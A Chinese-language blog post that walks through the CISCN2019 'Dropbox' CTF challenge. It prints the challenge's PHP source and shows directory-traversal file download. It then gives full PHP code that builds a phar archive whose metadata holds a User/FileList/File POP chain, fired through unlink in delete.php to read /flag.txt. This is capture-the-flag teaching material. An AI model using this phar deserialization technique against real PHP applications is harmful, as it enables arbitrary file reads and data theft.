HacKerQWQ的博客空间

利用phar拓展反序列化攻击面例题

Word count: 1.5kReading time: 8 min
2020/12/12 Share

前置知识

利用 phar 拓展 php 反序列化漏洞攻击面

phar绕过

  • compress.bzip2://phar://test.phar/test.txt
  • compress.zlib://phar://test.phar/test.txt
  • php://filter/resource=phar://test.phar/test.txt

phar协议可以直接读取gzip和bzip2压缩的phar文件

These archives can fully compressed in gzip or bzip2 format and still be executed by the Phar extension.

创建压缩包

1
2
3
4
5
6
7
<?php
$zip = new ZipArchive();
$a = $zip->open("1.zip",ZipArchive::CREATE);
$zip->addFromString("exp.phar",file_get_content('exp.phar'));
$zip->close();

var_dump(file_get_contents("phar://1.zip/exp.phar"));

[CISCN2019 华北赛区 Day1 Web1]Dropbox


先注册登录一个账号

看到面板可以上传文件,随便上传一个图片试试

上传成功,具有下载和删除功能,同时发现下载功能可以下载任意文件
跨个目录就可以了

把这么些文档都下载下来

先看看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

看到class.php里的File类有这么一段

1
2
3
public function close() {
return file_get_contents($this->filename);
}

如果能调用close()函数并且控制filename那么就能读取任意文件
注意到User的db变量在反序列化时可以调用close()函数,但是User()本身是没有close()函数的
此时就需要注意到FileList类中的__call魔术方法

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

$func作为被调用的函数名,可以是close,这个函数的作用是调用func函数并且存到this->result里面
这样的话我们的POP链就构造好了
File对象的filename是”/flag”或”/flag.txt”或其他的
FileList里的Files是含File对象的数组,因为__call调用的时候是遍历调用func,然后User的db再指向FileList对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class User {
public $db;
}


class FileList {
private $files;
public function __construct(){
$this->files = array(new File());
}

}

class File {
public $filename="/flag.txt";

}
$a = new FileList();
$b = new User();
$b -> db = $a;

POP链构造好了,但是得想个办法让它显示出来,由于File的close返回结果不显示,所以得找一个地方让它打印出来
看到delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

这里的detele()对应File对象的detele()

1
2
3
public function detele() {
unlink($this->filename);
}

在前置知识里面存在unlink这个函数,会触发phar反序列化漏洞,启动我们的POP链
完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class User {
public $db;
}


class FileList {
private $files;
public function __construct(){
$this->files = array(new File());
}

}

class File {
public $filename="/flag.txt";

}
$a = new FileList();
$b = new User();
$b -> db = $a;

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>


抓包改mime

删除文件,flag出来

总结

phar反序列化漏洞

CATALOG
  1. 1. 前置知识
  2. 2. phar绕过
  3. 3. [CISCN2019 华北赛区 Day1 Web1]Dropbox
  4. 4. 总结